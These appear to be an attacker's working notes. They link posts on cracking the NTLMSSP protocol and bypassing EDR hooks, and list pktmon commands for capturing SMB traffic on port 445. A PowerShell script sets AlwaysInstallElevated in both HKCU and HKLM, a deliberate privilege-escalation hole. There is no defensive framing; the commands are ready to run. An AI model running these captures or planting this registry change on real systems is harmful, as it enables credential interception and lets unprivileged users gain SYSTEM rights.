https://www.mike-gualtieri.com/posts/live-off-the-land-and-crack-the-ntlmssp-protocol

pktmon filter add -p 445
pktmon start --etw -p 0 -c 13
pktmon format PktMon.etl -o test.txt
pktmon pcapng <input> -o <output>
pktmon start --etw -p 0 -c 13 -l real-time
pktmon start --etw --pkt-size 0 --comp 1

$RegistryPath1 = 'HKCU:\Software\Policies\Microsoft\Windows\Installer'
$RegistryPath2 = 'HKLM:\Software\Policies\Microsoft\Windows\Installer'
$Name = 'AlwaysInstallElevated'
$Value = '1'

Create the key if it does not exist

New-Item -Path $RegistryPath1 -Force | Out-Null
New-Item -Path $RegistryPath2 -Force | Out-Null

Now set the value

New-ItemProperty -Path $RegistryPath1 -Name $Name -Value $Value -PropertyType DWORD -Force
New-ItemProperty -Path $RegistryPath2 -Name $Name -Value $Value -PropertyType DWORD -Force

https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6